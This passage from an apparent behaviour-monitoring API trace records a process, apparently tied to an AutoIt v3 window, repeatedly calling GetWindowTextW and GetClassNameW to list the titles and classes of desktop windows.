nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0168.403] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.403] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0168.403] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.404] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.404] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.404] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.404] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0168.404] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdedb0) returned 0x9 [0168.404] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0168.404] GetWindowTextW (in: hWnd=0x101e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0168.405] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0168.405] GetWindowTextW (in: hWnd=0x101e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0168.405] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0168.405] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.405] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0168.405] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.405] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.406] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.406] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.406] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.406] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.406] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.406] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0168.407] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.407] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.407] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0168.407] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0168.408] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.408] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.408] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0168.408] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0168.408] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0168.408] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0168.408] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.409] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.409] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.409] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0168.409] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.409] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.409] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.409] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.409] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.410] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0168.410] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.410] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0168.410] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0168.410] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0168.410] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0168.410] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0168.411] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.411] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.411] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.411] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0168.411] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.411] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.411] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.412] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.412] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.412] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.412] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.412] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.412] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.412] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0168.412] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.413] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0168.413] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.413] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0168.413] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0168.413] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0168.413] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.413] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0168.414] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.414] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0168.414] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.414] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0168.414] GetWindowTextW (in: hWnd=0x100d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0168.414] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0168.415] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.415] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.415] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0168.415] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0168.415] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.415] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.415] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.415] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.416] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.416] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.416] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.416] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.416] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.416] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.416] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.417] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.417] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.417] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.417] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.417] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.417] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.417] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.418] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.418] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.418] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.418] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.418] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.418] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.418] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.418] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.419] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.419] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.419] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.419] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.419] GetWindowTextW (in: hWnd=0x10344, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.419] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.419] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.420] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.420] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.420] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.420] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.420] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.420] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.420] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.421] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.421] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.421] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.421] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.421] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.421] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.421] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.421] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.422] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.422] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.422] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.564] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.564] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.568] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.568] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.568] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.568] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.568] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.568] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.568] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.568] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.568] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.569] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.569] GetClassNameW (in: hWnd=0x102d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.569] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.569] GetClassNameW (in: hWnd=0x102ce, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.569] GetWindowTextW (in: hWnd=0x102cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.569] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.569] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.569] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.569] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.570] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.570] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.570] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.570] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.570] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.570] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.570] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.570] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.571] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.571] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.571] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.571] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.571] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.571] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.571] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.571] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.571] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.571] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.572] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.572] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.572] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.572] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.572] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.572] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.572] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.572] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.572] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.573] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.573] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.573] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.573] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.573] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.573] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.573] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.573] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.573] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.574] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.574] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.574] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.574] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.574] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.574] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.574] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.574] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.574] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.574] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.575] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.575] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.575] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.575] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.575] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.575] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.575] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.575] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.575] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.576] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.576] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.576] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.576] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.576] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.576] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.576] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.576] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.576] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.577] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.577] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.577] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.577] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 